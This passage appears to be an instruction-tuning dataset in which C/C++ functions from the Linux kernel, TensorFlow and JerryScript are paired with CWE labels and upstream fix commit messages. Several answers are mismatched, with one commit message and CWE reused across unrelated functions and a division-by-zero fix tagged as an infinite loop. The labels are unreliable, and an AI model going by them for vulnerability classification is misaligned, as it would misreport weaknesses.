['CWE-703', 'CWE-264'], 'message': 'net: Audit drivers to identify those needing IFF_TX_SKB_SHARING cleared\n\nAfter the last patch, We are left in a state in which only drivers calling\nether_setup have IFF_TX_SKB_SHARING set (we assume that drivers touching real\nhardware call ether_setup for their net_devices and don't hold any state in\ntheir skbs.  There are a handful of drivers that violate this assumption of\ncourse, and need to be fixed up.  This patch identifies those drivers, and marks\nthem as not being able to support the safe transmission of skbs by clearning the\nIFF_TX_SKB_SHARING flag in priv_flags\n\nSigned-off-by: Neil Horman \nCC: Karsten Keil \nCC: \"David S. Miller\" \nCC: Jay Vosburgh \nCC: Andy Gospodarek \nCC: Patrick McHardy \nCC: Krzysztof Halasa \nCC: \"John W. Linville\" \nCC: Greg Kroah-Hartman \nCC: Marcel Holtmann \nCC: Johannes Berg \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int secure_decrypt(void *data, unsigned int data_length, int is_signed)\n{\n\tat91_aes_key_size_t key_size;\n\tunsigned int cmac_key[8], cipher_key[8];\n\tunsigned int iv[AT91_AES_IV_SIZE_WORD];\n\tunsigned int computed_cmac[AT91_AES_BLOCK_SIZE_WORD];\n\tunsigned int fixed_length;\n\tconst unsigned int *cmac;\n\tint rc = -1;\n\n\t/* Init keys */\n\tinit_keys(&key_size, cipher_key, cmac_key, iv);\n\n\t/* Init periph */\n\tat91_aes_init();\n\n\t/* Check signature if required */\n\tif (is_signed) {\n\t\t/* Compute the CMAC */\n\t\tif (at91_aes_cmac(data_length, data, computed_cmac,\n\t\t\t\t  key_size, cmac_key))\n\t\t\tgoto exit;\n\n\t\t/* Check the CMAC */\n\t\tfixed_length = at91_aes_roundup(data_length);\n\t\tcmac = (const unsigned int *)((char *)data + fixed_length);\n\t\tif (memcmp(cmac, computed_cmac, AT91_AES_BLOCK_SIZE_BYTE))\n\t\t\tgoto exit;\n\t}\n\n\t/* Decrypt the whole file */\n\tif (at91_aes_cbc(data_length, data, data, 0,\n\t\t\t key_size, cipher_key, iv))\n\t\tgoto exit;\n\n\trc = 0;\nexit:\n\t/* Reset periph */\n\tat91_aes_cleanup();\n\n\t/* Reset keys */\n\tmemset(cmac_key, 0, sizeof(cmac_key));\n\tmemset(cipher_key, 0, sizeof(cipher_key));\n\tmemset(iv, 0, sizeof(iv));\n\n\treturn rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-203'], 'message': 'driver: secure: use consttime_memequal for memory comparison\n\nDo  not  use memcmp() to compare security critical data, such as\ncryptographic secrets, because the required CPU time depends on the\nnumber of equal bytes.\nInstead, a function that performs comparisons in constant time is required.\nWarning: consttime_memequal returns 0 if data are NOT equal, and 1 if they are\nequal.\n\nSigned-off-by: Eugen Hristev \nReviewed-by: Nicolas Ferre '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: inline void AveragePool(const float* input_data, const Dims<4>& input_dims,\n                        int stride_width, int stride_height, int pad_width,\n                        int pad_height, int kwidth, int kheight,\n                        float output_activation_min,\n                        float output_activation_max, float* output_data,\n                        const Dims<4>& output_dims) {\n  tflite::PoolParams params;\n  params.stride_height = stride_height;\n  params.stride_width = stride_width;\n  params.filter_height = kheight;\n  params.filter_width = kwidth;\n  params.padding_values.height = pad_height;\n  params.padding_values.width = pad_width;\n  params.float_activation_min = output_activation_min;\n  params.float_activation_max = output_activation_max;\n  AveragePool(params, DimsToShape(input_dims), input_data,\n              DimsToShape(output_dims), output_data);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-835'], 'message': 'Prevent a division by 0 in average ops.\n\nPiperOrigin-RevId: 385184660\nChange-Id: I7affd4554f9b336fca29ac68f633232c094d0bd3'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: inline void AveragePool(const PoolParams& params,\n                        const RuntimeShape& input_shape,\n                        const float* input_data,\n                        const RuntimeShape& output_shape, float* output_data) {\n  ruy::profiler::ScopeLabel label(\"AveragePool\");\n  TFLITE_DCHECK_EQ(input_shape.DimensionsCount(), 4);\n  TFLITE_DCHECK_EQ(output_shape.DimensionsCount(), 4);\n  const int batches = MatchingDim(input_shape, 0, output_shape, 0);\n  const int input_height = input_shape.Dims(1);\n  const int input_width = input_shape.Dims(2);\n  const int output_height = output_shape.Dims(1);\n  const int output_width = output_shape.Dims(2);\n  const int stride_height = params.stride_height;\n  const int stride_width = params.stride_width;\n\n  // TODO(benoitjacob) make this a proper reference impl without Eigen!\n  const auto in_mat = MapAsMatrixWithLastDimAsRows(input_data, input_shape);\n  auto out_mat = MapAsMatrixWithLastDimAsRows(output_data, output_shape);\n  // TODO(benoitjacob) get rid of the dynamic memory allocation here!\n  Eigen::VectorXf out_count(out_mat.cols());\n  out_count.setZero();\n  // Prefill the output to 0.\n  out_mat.setZero();\n  for (int b = 0; b < batches; ++b) {\n    for (int h = 0; h < input_height; ++h) {\n      for (int w = 0; w < input_width; ++w) {\n        // (h_start, h_end) * (w_start, w_end) is the range that the input\n        // vector projects to.\n        int hpad = h + params.padding_values.height;\n        int wpad = w + params.padding_values.width;\n        int h_start = (hpad < params.filter_height)\n                          ? 0\n                          : (hpad - params.filter_height) / stride_height + 1;\n        int h_end = std::min(hpad / stride_height + 1, output_height);\n        int w_start = (wpad < params.filter_width)\n                          ? 0\n                          : (wpad - params.filter_width) / stride_width + 1;\n        int w_end = std::min(wpad / stride_width + 1, output_width);\n        // compute elementwise sum\n        for (int ph = h_start; ph < h_end; ++ph) {\n          for (int pw = w_start; pw < w_end; ++pw) {\n            int out_offset = NodeOffset(b, ph, pw, output_height, output_width);\n            out_mat.col(out_offset) +=\n                in_mat.col(NodeOffset(b, h, w, input_height, input_width));\n            out_count(out_offset)++;\n          }\n        }\n      }\n    }\n  }\n  // Divide the output by the actual number of elements being averaged over\n  TFLITE_DCHECK_GT(out_count.minCoeff(), 0);\n  out_mat.array().rowwise() /= out_count.transpose().array();\n\n  const int flat_size = output_shape.FlatSize();\n  for (int i = 0; i < flat_size; ++i) {\n    output_data[i] = ActivationFunctionWithMinMax(output_data[i],\n                                                  params.float_activation_min,\n                                                  params.float_activation_max);\n  }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-835'], 'message': 'Prevent a division by 0 in average ops.\n\nPiperOrigin-RevId: 385184660\nChange-Id: I7affd4554f9b336fca29ac68f633232c094d0bd3'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static __inline__ int scm_check_creds(struct ucred *creds)\n{\n\tconst struct cred *cred = current_cred();\n\tkuid_t uid = make_kuid(cred->user_ns, creds->uid);\n\tkgid_t gid = make_kgid(cred->user_ns, creds->gid);\n\n\tif (!uid_valid(uid) || !gid_valid(gid))\n\t\treturn -EINVAL;\n\n\tif ((creds->pid == task_tgid_vnr(current) || nsown_capable(CAP_SYS_ADMIN)) &&\n\t    ((uid_eq(uid, cred->uid)   || uid_eq(uid, cred->euid) ||\n\t      uid_eq(uid, cred->suid)) || nsown_capable(CAP_SETUID)) &&\n\t    ((gid_eq(gid, cred->gid)   || gid_eq(gid, cred->egid) ||\n\t      gid_eq(gid, cred->sgid)) || nsown_capable(CAP_SETGID))) {\n\t       return 0;\n\t}\n\treturn -EPERM;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-284', 'CWE-264'], 'message': 'scm: Require CAP_SYS_ADMIN over the current pidns to spoof pids.\n\nDon't allow spoofing pids over unix domain sockets in the corner\ncases where a user has created a user namespace but has not yet\ncreated a pid namespace.\n\nCc: stable@vger.kernel.org\nReported-by: Andy Lutomirski \nSigned-off-by: \"Eric W. Biederman\" '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ecma_find_or_create_literal_string (const lit_utf8_byte_t *chars_p, /**< string to be searched */\n                                    lit_utf8_size_t size) /**< size of the string */\n{\n  ecma_string_t *string_p = ecma_new_ecma_string_from_utf8 (chars_p, size);\n\n  if (ECMA_IS_DIRECT_STRING (string_p))\n  {\n    return ecma_make_string_value (string_p);\n  }\n\n  jmem_cpointer_t string_list_cp = JERRY_CONTEXT (string_list_first_cp);\n  jmem_cpointer_t *empty_cpointer_p = NULL;\n\n  while (string_list_cp != JMEM_CP_NULL)\n  {\n    ecma_lit_storage_item_t *string_list_p = JMEM_CP_GET_NON_NULL_POINTER (ecma_lit_storage_item_t, string_list_cp);\n\n    for (int i = 0; i < ECMA_LIT_STORAGE_VALUE_COUNT; i++)\n    {\n      if (string_list_p->values[i] == JMEM_CP_NULL)\n      {\n        if (empty_cpointer_p == NULL)\n        {\n          empty_cpointer_p = string_list_p->values + i;\n        }\n      }\n      else\n      {\n        ecma_string_t *value_p = JMEM_CP_GET_NON_NULL_POINTER (ecma_string_t,\n                                                               string_list_p->values[i]);\n\n        if (ecma_compare_ecma_strings (string_p, value_p))\n        {\n          /* Return with string if found in the list. */\n          ecma_deref_ecma_string (string_p);\n          return ecma_make_string_value (value_p);\n        }\n      }\n    }\n\n    string_list_cp = string_list_p->next_cp;\n  }\n\n  ECMA_SET_STRING_AS_STATIC (string_p);\n  jmem_cpointer_t result;\n  JMEM_CP_SET_NON_NULL_POINTER (result, string_p);\n\n  if (empty_cpointer_p != NULL)\n  {\n    *empty_cpointer_p = result;\n    return ecma_make_string_value (string_p);\n  }\n\n  ecma_lit_storage_item_t *new_item_p;\n  new_item_p = (ecma_lit_storage_item_t *) jmem_pools_alloc (sizeof (ecma_lit_storage_item_t));\n\n  new_item_p->values[0] = result;\n  for (int i = 1; i < ECMA_LIT_STORAGE_VALUE_COUNT; i++)\n  {\n    new_item_p->values[i] = JMEM_CP_NULL;\n  }\n\n  new_item_p->next_cp = JERRY_CONTEXT (string_list_first_cp);\n  JMEM_CP_SET_NON_NULL_POINTER (JERRY_CONTEXT (string_list_first_cp), new_item_p);\n\n  return ecma_make_string_value (string_p);\n} /* ecma_find_or_create_literal_string */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'Improve parse_identifier (#4691)\n\nAscii string length is no longer computed during string allocation.\r\n\r\nJerryScript-DCO-1.0-Signed-off-by: Daniel Batiz batizjob@gmail.com'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: lexer_parse_number (parser_context_t *context_p) /**< context */\n{\n  const uint8_t *source_p = context_p->source_p;\n  const uint8_t *source_end_p = context_p->source_end_p;\n  bool can_be_float = false;\n#if JERRY_BUILTIN_BIGINT\n  bool can_be_bigint = true;\n#endif /* JERRY_BUILTIN_BIGINT */\n  size_t length;\n\n  context_p->token.type = LEXER_LITERAL;\n  context_p->token.extra_value = LEXER_NUMBER_DECIMAL;\n  context_p->token.lit_location.char_p = source_p;\n  context_p->token.lit_location.type = LEXER_NUMBER_LITERAL;\n  context_p->token.lit_location.has_escape = false;\n\n  if (source_p[0] == LIT_CHAR_0\n      && source_p + 1 < source_end_p)\n  {\n#if JERRY_ESNEXT\n    if (source_p[1] == LIT_CHAR_UNDERSCORE)\n    {\n      parser_raise_error (context_p, PARSER_ERR_INVALID_UNDERSCORE_IN_NUMBER);\n    }\n#endif /* JERRY_ESNEXT */\n    if (LEXER_TO_ASCII_LOWERCASE (source_p[1]) == LIT_CHAR_LOWERCASE_X)\n    {\n      context_p->token.extra_value = LEXER_NUMBER_HEXADECIMAL;\n      source_p += 2;\n\n      if (source_p >= source_end_p\n          || !lit_char_is_hex_digit (source_p[0]))\n      {\n        parser_raise_error (context_p, PARSER_ERR_INVALID_HEX_DIGIT);\n      }\n\n      do\n      {\n        source_p++;\n#if JERRY_ESNEXT\n        if (source_p < source_end_p && source_p[0] == LIT_CHAR_UNDERSCORE)\n        {\n          source_p++;\n          if (source_p == source_end_p || !lit_char_is_hex_digit (source_p[0]))\n          {\n            parser_raise_error (context_p, PARSER_ERR_INVALID_UNDERSCORE_IN_NUMBER);\n          }\n        }\n#endif /* JERRY_ESNEXT */\n      }\n      while (source_p < source_end_p\n             && lit_char_is_hex_digit (source_p[0]));\n    }\n#if JERRY_ESNEXT\n    else if (LEXER_TO_ASCII_LOWERCASE (source_p[1]) == LIT_CHAR_LOWERCASE_O)\n    {\n      context_p->token.extra_value = LEXER_NUMBER_OCTAL;\n      source_p += 2;\n\n      if (source_p >= source_end_p\n          || !lit_char_is_octal_digit (source_p[0]))\n      {\n        parser_raise_error (context_p, PARSER_ERR_INVALID_OCTAL_DIGIT);\n      }\n\n      lexer_check_numbers (context_p, &source_p, source_end_p, LIT_CHAR_7, false);\n    }\n#endif /* JERRY_ESNEXT */\n    else if (source_p[1] >= LIT_CHAR_0\n             && source_p[1] <= LIT_CHAR_9)\n    {\n      context_p->token.extra_value = LEXER_NUMBER_OCTAL;\n#if JERRY_BUILTIN_BIGINT\n      can_be_bigint = false;\n#endif /* JERRY_BUILTIN_BIGINT */\n\n      if (context_p->status_flags & PARSER_IS_STRICT)\n      {\n        parser_raise_error (context_p, PARSER_ERR_OCTAL_NUMBER_NOT_ALLOWED);\n      }\n\n      lexer_check_numbers (context_p, &source_p, source_end_p, LIT_CHAR_7, true);\n\n      if (source_p < source_end_p\n          && source_p[0] >= LIT_CHAR_8\n          && source_p[0] <= LIT_CHAR_9)\n      {\n#if JERRY_ESNEXT\n        lexer_check_numbers (context_p, &source_p, source_end_p, LIT_CHAR_9, true);\n        context_p->token.extra_value = LEXER_NUMBER_DECIMAL;\n#else /* !JERRY_ESNEXT */\n        parser_raise_error (context_p, PARSER_ERR_INVALID_NUMBER);\n#endif /* JERRY_ESNEXT */\n      }\n    }\n#if JERRY_ESNEXT\n    else if (LEXER_TO_ASCII_LOWERCASE (source_p[1]) == LIT_CHAR_LOWERCASE_B)\n    {\n      context_p->token.extra_value = LEXER_NUMBER_BINARY;\n      source_p += 2;\n\n      if (source_p >= source_end_p\n          || !lit_char_is_binary_digit (source_p[0]))\n      {\n        parser_raise_error (context_p, PARSER_ERR_INVALID_BIN_DIGIT);\n      }\n\n      do\n      {\n        source_p++;\n        if (source_p < source_end_p && source_p[0] == LIT_CHAR_UNDERSCORE)\n        {\n          source_p++;\n          if (source_p == source_end_p\n              || source_p[0] > LIT_CHAR_9\n              || source_p[0] < LIT_CHAR_0)\n          {\n            parser_raise_error (context_p, PARSER_ERR_INVALID_UNDERSCORE_IN_NUMBER);\n          }\n        }\n      }\n      while (source_p < source_end_p\n               && lit_char_is_binary_digit (source_p[0]));\n    }\n#endif /* JERRY_ESNEXT */\n    else\n    {\n      can_be_float = true;\n      source_p++;\n    }\n  }\n  else\n  {\n    lexer_check_numbers (context_p, &source_p, source_end_p, LIT_CHAR_9, false);\n    can_be_float = true;\n  }\n\n  if (can_be_float)\n  {\n    if (source_p < source_end_p\n        && source_p[0] == LIT_CHAR_DOT)\n    {\n      source_p++;\n#if JERRY_BUILTIN_BIGINT\n      can_be_bigint = false;\n#endif /* JERRY_BUILTIN_BIGINT */\n\n#if JERRY_ESNEXT\n      if (source_p < source_end_p && source_p[0] == LIT_CHAR_UNDERSCORE)\n      {\n        parser_raise_error (context_p, PARSER_ERR_INVALID_UNDERSCORE_IN_NUMBER);\n      }\n#endif /* JERRY_ESNEXT */\n      lexer_check_numbers (context_p, &source_p, source_end_p, LIT_CHAR_9, false);\n    }\n\n    if (source_p < source_end_p\n        && LEXER_TO_ASCII_LOWERCASE (source_p[0]) == LIT_CHAR_LOWERCASE_E)\n    {\n      source_p++;\n#if JERRY_BUILTIN_BIGINT\n      can_be_bigint = false;\n#endif /* JERRY_BUILTIN_BIGINT */\n\n      if (source_p < source_end_p\n          && (source_p[0] == LIT_CHAR_PLUS || source_p[0] == LIT_CHAR_MINUS))\n      {\n        source_p++;\n      }\n\n      if (source_p >= source_end_p\n          || source_p[0] < LIT_CHAR_0\n          || source_p[0] > LIT_CHAR_9)\n      {\n        parser_raise_error (context_p, PARSER_ERR_MISSING_EXPONENT);\n      }\n\n      lexer_check_numbers (context_p, &source_p, source_end_p, LIT_CHAR_9, false);\n    }\n  }\n\n#if JERRY_BUILTIN_BIGINT\n  if (source_p < source_end_p && source_p[0] == LIT_CHAR_LOWERCASE_N)\n  {\n    if (!can_be_bigint)\n    {\n      parser_raise_error (context_p, PARSER_ERR_INVALID_BIGINT);\n    }\n    context_p->token.extra_value = LEXER_NUMBER_BIGINT;\n    source_p++;\n  }\n#endif /* JERRY_BUILTIN_BIGINT */\n\n  length = (size_t) (source_p - context_p->source_p);\n  if (length > PARSER_MAXIMUM_STRING_LENGTH)\n  {\n    parser_raise_error (context_p, PARSER_ERR_NUMBER_TOO_LONG);\n  }\n\n  context_p->token.lit_location.length = (prop_length_t) length;\n  PARSER_PLUS_EQUAL_LC (context_p->column, length);\n  context_p->source_p = source_p;\n\n  if (source_p < source_end_p && lexer_parse_identifier (context_p, LEXER_PARSE_CHECK_START_AND_RETURN))\n  {\n    parser_raise_error (context_p, PARSER_ERR_IDENTIFIER_AFTER_NUMBER);\n  }\n} /* lexer_parse_number */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'Improve parse_identifier (#4691)\n\nAscii string length is no longer computed during string allocation.\r\n\r\nJerryScript-DCO-1.0-Signed-off-by: Daniel Batiz batizjob@gmail.com'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: parser_parse_export_statement (parser_context_t *context_p) /**< context */\n{\n  JERRY_ASSERT (context_p->token.type == LEXER_KEYW_EXPORT);\n  JERRY_ASSERT (context_p->module_names_p == NULL);\n\n  parser_module_check_request_place (context_p);\n\n  bool consume_last_statement = false;\n\n  lexer_next_token (context_p);\n  switch (context_p->token.type)\n  {\n    case LEXER_KEYW_DEFAULT:\n    {\n      scanner_location_t location;\n      scanner_get_location (&location, context_p);\n\n      context_p->status_flags |= PARSER_MODULE_STORE_IDENT;\n\n      lexer_next_token (context_p);\n\n      if (context_p->token.type == LEXER_LITERAL\n          && lexer_token_is_async (context_p)\n          && context_p->next_scanner_info_p->source_p == context_p->source_p\n          && context_p->next_scanner_info_p->type == SCANNER_TYPE_FUNCTION)\n      {\n        lexer_next_token (context_p);\n      }\n\n      if (context_p->token.type == LEXER_KEYW_CLASS)\n      {\n        context_p->status_flags |= PARSER_MODULE_DEFAULT_CLASS_OR_FUNC;\n        parser_parse_class (context_p, true);\n        consume_last_statement = true;\n      }\n      else if (context_p->token.type == LEXER_KEYW_FUNCTION)\n      {\n        context_p->status_flags |= PARSER_MODULE_DEFAULT_CLASS_OR_FUNC;\n        parser_parse_function_statement (context_p);\n        consume_last_statement = true;\n      }\n      else\n      {\n        /* Assignment expression */\n        scanner_set_location (context_p, &location);\n\n        /* 15.2.3.5 Use the synthetic name '*default*' as the identifier. */\n        lexer_construct_literal_object (context_p, &lexer_default_literal, lexer_default_literal.type);\n\n        context_p->token.lit_location.type = LEXER_IDENT_LITERAL;\n        parser_emit_cbc_literal_from_token (context_p, CBC_PUSH_LITERAL);\n\n        /* Do not overwrite this identifier. */\n        context_p->status_flags &= (uint32_t) ~PARSER_MODULE_STORE_IDENT;\n        context_p->module_identifier_lit_p = context_p->lit_object.literal_p;\n\n        /* Fake an assignment to the default identifier */\n        context_p->token.type = LEXER_ASSIGN;\n\n        parser_parse_expression_statement (context_p, PARSE_EXPR_NO_COMMA | PARSE_EXPR_HAS_LITERAL);\n      }\n\n      ecma_string_t *name_p = ecma_new_ecma_string_from_utf8 (context_p->module_identifier_lit_p->u.char_p,\n                                                              context_p->module_identifier_lit_p->prop.length);\n      ecma_string_t *export_name_p = ecma_get_magic_string (LIT_MAGIC_STRING_DEFAULT);\n\n      if (parser_module_check_duplicate_export (context_p, export_name_p))\n      {\n        ecma_deref_ecma_string (name_p);\n        ecma_deref_ecma_string (export_name_p);\n        parser_raise_error (context_p, PARSER_ERR_DUPLICATED_EXPORT_IDENTIFIER);\n      }\n\n      parser_module_add_names_to_node (context_p,\n                                       export_name_p,\n                                       name_p);\n      ecma_deref_ecma_string (name_p);\n      ecma_deref_ecma_string (export_name_p);\n      break;\n    }\n    case LEXER_MULTIPLY:\n    {\n      lexer_next_token (context_p);\n\n      ecma_module_node_t **target_node_list_p = &(JERRY_CONTEXT (module_current_p)->star_exports_p);\n\n      if (lexer_token_is_identifier (context_p, \"as\", 2))\n      {\n        target_node_list_p = &(JERRY_CONTEXT (module_current_p)->indirect_exports_p);\n\n        lexer_next_token (context_p);\n\n        if (context_p->token.type != LEXER_LITERAL\n            || context_p->token.lit_location.type != LEXER_IDENT_LITERAL)\n        {\n          parser_raise_error (context_p, PARSER_ERR_IDENTIFIER_EXPECTED);\n        }\n\n        lexer_construct_literal_object (context_p, &context_p->token.lit_location, LEXER_NEW_IDENT_LITERAL);\n\n        lexer_literal_t *literal_p = PARSER_GET_LITERAL (context_p->lit_object.index);\n        ecma_string_t *export_name_p = ecma_new_ecma_string_from_utf8 (literal_p->u.char_p,\n                                                                       literal_p->prop.length);\n\n        if (parser_module_check_duplicate_export (context_p, export_name_p))\n        {\n          ecma_deref_ecma_string (export_name_p);\n          parser_raise_error (context_p, PARSER_ERR_DUPLICATED_EXPORT_IDENTIFIER);\n        }\n\n        ecma_string_t *local_name_p = ecma_get_magic_string (LIT_MAGIC_STRING_ASTERIX_CHAR);\n        parser_module_add_names_to_node (context_p, export_name_p, local_name_p);\n        ecma_deref_ecma_string (export_name_p);\n\n        lexer_next_token (context_p);\n      }\n\n      if (!lexer_token_is_identifier (context_p, \"from\", 4))\n      {\n        parser_raise_error (context_p, PARSER_ERR_FROM_EXPECTED);\n      }\n\n      lexer_next_token (context_p);\n      parser_module_handle_module_specifier (context_p, target_node_list_p);\n      return false;\n    }\n    case LEXER_KEYW_VAR:\n    case LEXER_KEYW_LET:\n    case LEXER_KEYW_CONST:\n    {\n      context_p->status_flags |= PARSER_MODULE_STORE_IDENT;\n      parser_parse_var_statement (context_p);\n      break;\n    }\n    case LEXER_KEYW_CLASS:\n    {\n      context_p->status_flags |= PARSER_MODULE_STORE_IDENT;\n      parser_parse_class (context_p, true);\n      consume_last_statement = true;\n      break;\n    }\n    case LEXER_KEYW_FUNCTION:\n    {\n      context_p->status_flags |= PARSER_MODULE_STORE_IDENT;\n      parser_parse_function_statement (context_p);\n      consume_last_statement = true;\n      break;\n    }\n    case LEXER_LEFT_BRACE:\n    {\n      parser_module_parse_export_clause (context_p);\n\n      if (lexer_token_is_identifier (context_p, \"from\", 4))\n      {\n        lexer_next_token (context_p);\n        parser_module_handle_module_specifier (context_p, &(JERRY_CONTEXT (module_current_p)->indirect_exports_p));\n        return false;\n      }\n      break;\n    }\n    default:\n    {\n      parser_raise_error (context_p, PARSER_ERR_LEFT_BRACE_MULTIPLY_LITERAL_EXPECTED);\n      break;\n    }\n  }\n\n  context_p->status_flags &= (uint32_t) ~(PARSER_MODULE_DEFAULT_CLASS_OR_FUNC | PARSER_MODULE_STORE_IDENT);\n  parser_module_append_names (context_p, &(JERRY_CONTEXT (module_current_p)->local_exports_p));\n\n  return consume_last_statement;\n} /* parser_parse_export_statement */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'Improve parse_identifier (#4691)\n\nAscii string length is no longer computed during string allocation.\r\n\r\nJerryScript-DCO-1.0-Signed-off-by: Daniel Batiz batizjob@gmail.com'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   void Compute(OpKernelContext* context) override {\n    // Only create one, if one does not exist already. Report status for all\n    // other exceptions. If one already exists, it unrefs the new one.\n    // An epsilon value of zero could cause performance issues and is therefore,\n    // disallowed.\n    const Tensor* epsilon_t;\n    OP_REQUIRES_OK(context, context->input(kEpsilonName, &epsilon_t));\n    float epsilon = epsilon_t->scalar()();\n    OP_REQUIRES(\n        context, epsilon > 0,\n        errors::InvalidArgument(\"An epsilon value of zero is not allowed.\"));\n\n    const Tensor* num_streams_t;\n    OP_REQUIRES_OK(context, context->input(kNumStreamsName, &num_streams_t));\n    int64_t num_streams = num_streams_t->scalar()();\n\n    auto result =\n        new QuantileStreamResource(epsilon, max_elements_, num_streams);\n    auto status = CreateResource(context, HandleFromInput(context, 0), result);\n    if (!status.ok() && status.code() != tensorflow::error::ALREADY_EXISTS) {\n      OP_REQUIRES(context, false, status);\n    }\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-681'], 'message': 'Ensure num_streams >= 0 in tf.raw_ops.BoostedTreesCreateQuantileStreamResource\n\nPiperOrigin-RevId: 387452765\nChange-Id: I9990c760e177fabca6a3b9b4612ceeaeeba51495'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: Status AutoParallel::Initialize(const GrapplerItem& item) {\n  num_gpus_ = GetNumAvailableGPUs();\n  LOG(INFO) << \"Number of GPUs: \" << num_gpus_;\n  item_ = &item;\n  graph_ = item.graph;\n  LOG(INFO) << \"Original graph size: \" << graph_.node_size();\n  if (item.fetch.empty()) {\n    return Status(error::INVALID_ARGUMENT, \"No fetch nodes provided.\");\n  }\n\n  if (item.MainVariables().empty()) {\n    return Status(error::INVALID_ARGUMENT, \"No variables provided.\");\n  }\n\n  for (const auto& init : item.init_ops) {\n    VLOG(1) << \"Init node: \" << init;\n  }\n\n  for (const auto& fetch : item.fetch) {\n    VLOG(1) << \"Fetch node: \" << fetch;\n  }\n\n  for (const auto& var : item.MainVariables()) {\n    VLOG(2) << \"Variable: \" << var->name();\n  }\n\n  const std::set apply_gradients_ops = {\"ApplyGradientDescent\",\n                                                \"ApplyProximalGradientDescent\",\n                                                \"ApplyAdadelta\",\n                                                \"ApplyAdagrad\",\n                                                \"ApplyProximalAdagrad\",\n                                                \"ApplyAdagradDA\",\n                                                \"ApplyFtrl\",\n                                                \"ApplyMomentum\",\n                                                \"ApplyAdam\",\n                                                \"ApplyRMSProp\",\n                                                \"ApplyCenteredRMSProp\"};\n  for (int i = 0; i < graph_.node_size(); i++) {\n    all_nodes_.insert(\n        std::make_pair(graph_.node(i).name(), graph_.mutable_node(i)));\n    if (apply_gradients_ops.find(graph_.node(i).op()) !=\n        apply_gradients_ops.end()) {\n      apply_gradients_nodes_.insert(graph_.node(i).name());\n      VLOG(2) << \"Apply gradients node: \" << graph_.node(i).name();\n    }\n  }\n\n  auto div_const_node = AddNodeDivConst();\n  all_nodes_.insert(std::make_pair(div_const_node->name(), div_const_node));\n  std::map gradient_pos = {{\"ApplyGradientDescent\", 2},\n                                        {\"ApplyProximalGradientDescent\", 4},\n                                        {\"ApplyAdadelta\", 6},\n                                        {\"ApplyAdagrad\", 3},\n                                        {\"ApplyProximalAdagrad\", 5},\n                                        {\"ApplyAdagradDA\", 3},\n                                        {\"ApplyFtrl\", 3},\n                                        {\"ApplyMomentum\", 3},\n                                        {\"ApplyAdam\", 9},\n                                        {\"ApplyRMSProp\", 7},\n                                        {\"ApplyCenteredRMSProp\", 8}};\n  for (const auto& apply_gradient_node_name : apply_gradients_nodes_) {\n    auto apply_gradients_op = all_nodes_[apply_gradient_node_name]->op();\n    auto apply_gradients_node = all_nodes_[apply_gradient_node_name];\n\n    auto div_node = AddNodeDiv(\n        apply_gradient_node_name,\n        apply_gradients_node->input(gradient_pos[apply_gradients_op]),\n        div_const_node->name());\n    all_nodes_.insert(std::make_pair(div_node->name(), div_node));\n    *apply_gradients_node->mutable_input(gradient_pos[apply_gradients_op]) =\n        div_node->name();\n  }\n  LOG(INFO) << \"Graph size after adding div nodes: \" << all_nodes_.size();\n\n  std::vector train_nodes;\n  TF_RETURN_IF_ERROR(ComputeTransitiveFanin(graph_, item.fetch, &train_nodes));\n  LOG(INFO) << \"Number of training nodes: \" << train_nodes.size();\n\n  const NodeDef* dequeue_node;\n  for (const auto& train_node : train_nodes) {\n    if (IsDequeueOp(*train_node)) {\n      dequeue_node = train_node;\n      break;\n    }\n  }\n\n  std::vector input_nodes;\n  if (dequeue_node) {\n    LOG(INFO) << \"Dequeue node: \" << dequeue_node->name();\n    TF_RETURN_IF_ERROR(ComputeTransitiveFanin(graph_, {dequeue_node->name()},\n                                              {}, &input_nodes));\n  }\n  LOG(INFO) << \"Number of input nodes: \" << input_nodes.size();\n\n  std::set 